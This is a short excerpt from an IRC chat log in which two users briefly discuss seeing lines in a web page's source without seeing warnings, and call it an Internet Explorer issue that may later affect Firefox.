| 22:25.45 | cycokilr | never saw the warnings that is.. saw the lines in the page source.. |
| 22:26.00 | mindjuju | true that, an IE issue, until they find a way to get firefox to do the same thing, only a matter of time really |
| 22:26.31 | cycokilr | true.. |
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